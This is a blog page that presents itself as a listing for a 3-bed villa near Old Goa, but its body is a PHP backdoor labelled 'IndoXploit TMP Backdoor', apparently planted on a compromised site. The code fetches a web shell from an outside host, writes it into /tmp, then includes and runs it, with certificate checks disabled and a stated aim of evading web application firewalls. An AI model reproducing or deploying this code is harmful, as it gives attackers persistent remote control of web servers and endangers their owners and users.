Blog

3 bed Brand new Villa at Carambolim near Old Goa/Near Karmail Railway Station - North Goa North Goa@ Rs. 1.1 Cr

Friday, May 20th, 2022

<?php

# IndoXploit TMP Backdoor

# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)

# Coded by: L0c4lh34rtz - IndoXploit

$data = ['https://shell.prinsh.com/Nathan/indosec.txt', '/tmp/sess_' . md5($_SERVER['HTTP_HOST']) . '.php'];

if (file_exists($data[1]) && filesize($data[1]) !== 0) {

    include($data[1]);

} else {

    $fopen = fopen($data[1], 'w+');

    if ($fopen === false) {

        die('Failed to open file.');

    }

    $fileData = get($data[0]);

    if ($fileData === false) {

        die('Failed to download the file.');

    }

    fwrite($fopen, $fileData);

    fclose($fopen);

    echo '<script>window.location="?indoxploit";</script>';

}

function get($url) {

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($ch, CURLOPT_URL, $url);

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);

    if (curl_errno($ch)) {

        return false; // Handle cURL error

    }

    curl_close($ch);

    return $result;

}

?>

no comments